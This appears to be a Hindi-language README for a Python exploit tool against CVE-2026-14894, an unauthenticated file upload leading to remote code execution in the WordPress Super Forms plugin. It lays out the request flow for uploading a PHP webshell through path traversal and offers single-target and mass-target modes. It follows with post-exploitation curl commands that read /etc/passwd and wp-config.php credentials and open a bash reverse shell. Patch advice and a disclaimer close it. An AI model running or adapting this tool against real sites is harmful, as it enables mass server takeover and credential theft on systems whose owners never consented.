
CVE-2026-14894 के लिए शोषण, WordPress Super Forms ≤ 6.3.313 में अनधिकृत फ़ाइल अपलोड से RCE। PHP वेबशेल अपलोड करता है और एकल-लक्ष्य या बड़े पैमाने पर शोषण का समर्थन करता है।
अनधिकृत मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन WordPress प्लगइन Super Forms के संस्करण ≤ 6.3.313 में।
यह कमजोरी AJAX हैंडलर super_submit_form में मौजूद है जो फ़ील्ड के माध्यम से फ़ाइल अपलोड को संसाधित करता है, बिना फ़ाइल एक्सटेंशन या MIME प्रकार को मान्य किए। एक अनधिकृत हमलावर PHP वेबशेल अपलोड कर सकता है और लक्ष्य सर्वर पर पूर्ण रिमोट कोड निष्पादन प्राप्त कर सकता है।
datauristring| Field | Detail |
|---|---|
| CVE ID | CVE-2026-14894 |
| Plugin | Super Forms (WordPress) |
| Affected | ≤ 6.3.313 |
| Patched | 6.3.314 (.pdf एक्सटेंशन + realpath रोकथाम लागू) |
| CVSS | 9.8 क्रिटिकल |
| Auth Required | कोई नहीं |
| Researcher | andrea bocchetti |
| AJAX Action | super_submit_form |
| Sink | datauristring फ़ील्ड → class-ajax.php:2762–2766 |
| Upload Path | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
[1] नॉन्स प्राप्त करें (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] datauristring के माध्यम से PHP शेल अपलोड करें (अनधिकृत)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── पथ ट्रैवर्सल → /wp-content/themes/<theme>/shell.php ← प्राथमिक
│ (हमेशा निष्पादित होता है)
│
└── यादृच्छिक फ़ोल्डर → /wp-content/uploads/superforms/... ← गिरने-पीछे
(निष्पादन सर्वर नीति पर निर्भर करता है)
│
▼
[3] शेल खोज
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media खोज (अनधिकृत)
├── S2: Apache/nginx निर्देशिका सूचीकरण
└── S3: WP साइटमैप अनुलग्नक XML
│
▼
[4] RCE → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
Unauthenticated File Upload → Remote Code Execution
Researcher: andrea bocchetti | PoC: Beelze
1 Single target (एकल लक्ष्य)
2 Mass targets (सामूहिक लक्ष्य) (फाइल)
Mode (1/2): 1
Target URL : https://target.com
Form ID (enter=auto) : ← खाली छोड़ें = स्वतः खोज
Shell name (enter=random): ← खाली छोड़ें = यादृच्छिक नाम
Shell file (enter=built-in): ← खाली छोड़ें = बिल्ट-इन शेल
WP user (optional/REST) : ← वैकल्पिक, खोज में सुधार करता है
WP pass (optional/REST) : ← वैकल्पिक
सफलता पर अपेक्षित आउटपुट:
──────────────────────────────────────────────────────────────
TARGET https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 कमजोर ≤6.3.313
[1/3] नॉन्स प्राप्त करें ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] अपलोड [xkqmhzjt.php] ................... ✔ OK form_id=42 entry_id=137
[3/3] शेल खोज ................................ ✔ मिला → RCE [पथ ट्रैवर्सल → थीम]
╔══════════════════════════════════════════════════════════════╗
║ ✓ PWNED → RCE की पुष्टि ║
║ ║
║ शेल » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
Mode (1/2): 2
Targets file : targets.txt ← प्रति पंक्ति एक URL, # = टिप्पणी
Form ID (enter=auto) :
Threads (enter=5) : 10
Shell file (enter=built-in):
WP user (optional/REST) :
WP pass (optional/REST) :
targets.txt प्रारूप:
# Bug bounty क्षेत्र
https://site1.com
https://site2.com
https://site3.com
सामूहिक स्कैन आउटपुट:
══════════════════════════════════════════════════════════════
MASS SCAN 3 लक्ष्य threads=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... WRITE कोई निष्पादन नहीं
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... FAIL प्लगइन निष्क्रिय / अवरुद्ध
══════════════════════════════════════════════════════════════
SUMMARY 1 RCE 1 WRITE_ONLY 0 MAYBE / कुल 3
══════════════════════════════════════════════════════════════
RCE शेल:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
आप बिल्ट-इन वेबशेल के बजाय अपनी स्वयं की शेल फ़ाइल प्रदान कर सकते हैं:
Shell file (enter=built-in): /path/to/myshell.php
टूल आपकी फ़ाइल अपलोड करेगा और किसी भी 200 प्रतिक्रिया को गैर-रिक्त बॉडी के साथ RCE पुष्टि के रूप में मानेगा।
RCE प्राप्त करने के बाद, शेल से इंटरैक्ट करें:
# कमांड निष्पादन
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# WordPress कॉन्फ़िग पढ़ें (क्रेडेंशियल्स, डीबी)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# रिवर्स शेल
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
परिणाम स्वचालित रूप से यहाँ सहेजे जाते हैं:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| Status | Meaning |
|---|---|
RCE | PHP शेल निष्पादित होने की पुष्टि — पूर्ण रिमोट कोड निष्पादन |
WRITE_ONLY | फ़ाइल लिखी गई लेकिन PHP निष्पादित नहीं (इंजन बंद / .htaccess अस्वीकृति) |
POSSIBLE_WRITE | अपलोड ने सफलता लौटाई लेकिन शेल URL हल नहीं किया जा सका |
FAIL | प्लगइन निष्क्रिय, नॉन्स विफल, या पैच किया गया संस्करण मिला |
Super Forms को ≥ 6.3.314 में अपडेट करें। पैच datauristring अपलोड में केवल .pdf एक्सटेंशन लागू करता है और पथ ट्रैवर्सल को रोकने के लिए realpath() कंटेनमेंट जोड़ता है।
यह टूल अधिकृत पैठ परीक्षण, बग बाउंटी अनुसंधान, और केवल शैक्षिक उद्देश्यों के लिए है।
इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
CVE-2026-14894 · Super Forms ≤ 6.3.313 · अनधिकृत फ़ाइल अपलोड RCE
शोधकर्ता: andrea bocchetti · PoC: Beelze